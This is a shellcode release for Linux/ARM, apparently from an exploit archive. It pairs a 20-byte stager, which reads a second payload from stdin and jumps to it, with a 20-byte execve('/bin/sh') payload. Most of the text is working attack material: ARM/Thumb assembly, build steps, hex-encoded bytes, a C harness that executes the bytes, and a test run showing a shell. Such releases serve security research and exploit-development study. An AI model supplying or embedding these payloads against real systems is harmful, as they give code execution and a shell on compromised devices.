Linux/ARM read(0, buf, 0xff) stager + execve("/bin/sh", NULL, NULL) Shellcode

20 bytes small Linux/ARM read(0, buf, 0xff) stager + execve("/bin/sh", NULL, NULL) shellcode.


MD5 | 207bd20722334a5f20631c3854445312

/*
# Title: Linux/ARM - read(0, buf, 0xff) stager + execve("/bin/sh", NULL, NULL) Shellcode (20 Bytes)
# Date: 2018-08-31
# Tested: armv7l (Raspberry Pi 3 Model B+)
# Author: Ken Kitahara

[System Information]
[email protected]:~ $ uname -a
Linux raspberrypi 4.14.52-v7+ #1123 SMP Wed Jun 27 17:35:49 BST 2018 armv7l GNU/Linux
[email protected]:~ $ lsb_release -a
No LSB modules are available.
Distributor ID: Raspbian
Description: Raspbian GNU/Linux 9.4 (stretch)
Release: 9.4
Codename: stretch
[email protected]:~ $

[Procedure]
(1) Create main shellcode in THUMB state. This PoC's example is execve("/bin/sh", NULL, NULL) shellcode (20 Bytes).

[email protected]:~ $ cat binsh.s
.section .text
.global _start

_start:
.THUMB
// execve("/bin/sh", NULL, NULL)
adr r0, spawn
eor r1, r1, r1
eor r2, r2, r2
strb r2, [r0, #7]
mov r7, #0xb
svc #1

spawn:
.ascii "/bin/shX"
[email protected]:~ $ as -o binsh.o binsh.s && ld -N -o binsh binsh.o
[email protected]:~ $ objcopy -O binary binsh binsh.bin
[email protected]:~ $ hexdump -v -e '"\\""x" 1/1 "%02x" ""' binsh.bin && echo
\x02\xa0\x49\x40\x52\x40\xc2\x71\x0b\x27\x01\xdf\x2f\x62\x69\x6e\x2f\x73\x68\x58
[email protected]:~ $


(2) Create stager shellcode (20 Bytes).

[email protected]:~ $ cat stager.s
.section .text
.global _start

_start:
.ARM
add lr, pc, #1
bx lr

.THUMB
// read(0, buf, 0xff)
eor r0, r0, r0
adr r1, loadpoint
mov r2, #0xff
mov r7, #3
svc #1
mov pc, r1
loadpoint:
[email protected]:~ $ as -o stager.o stager.s && ld -N -o stager stager.o
[email protected]:~ $ objcopy -O binary stager stager.bin
[email protected]:~ $ hexdump -v -e '"\\""x" 1/1 "%02x" ""' stager.bin && echo
\x01\xe0\x8f\xe2\x1e\xff\x2f\xe1\x40\x40\x02\xa1\xff\x22\x03\x27\x01\xdf\x8f\x46
[email protected]:~ $

(3) Operation test.

[email protected]:~ $ (echo -ne "\x02\xa0\x49\x40\x52\x40\xc2\x71\x0b\x27\x01\xdf\x2f\x62\x69\x6e\x2f\x73\x68\x58"; cat) | ./stager
id
uid=1000(pi) gid=1000(pi) groups=1000(pi),4(adm),20(dialout),24(cdrom),27(sudo),29(audio),44(video),46(plugdev),60(games),100(users),101(input),108(netdev),997(gpio),998(i2c),999(spi)
exit
^C
[email protected]:~ $

*/

#include<stdio.h>
#include<string.h>

unsigned char sc[] = \
"\x01\xe0\x8f\xe2\x1e\xff\x2f\xe1"
"\x40\x40\x02\xa1\xff\x22\x03\x27"
"\x01\xdf\x8f\x46";

void main()
{
printf("Shellcode Length: %d\n", strlen(sc));

int (*ret)() = (int(*)())sc;

ret();
}


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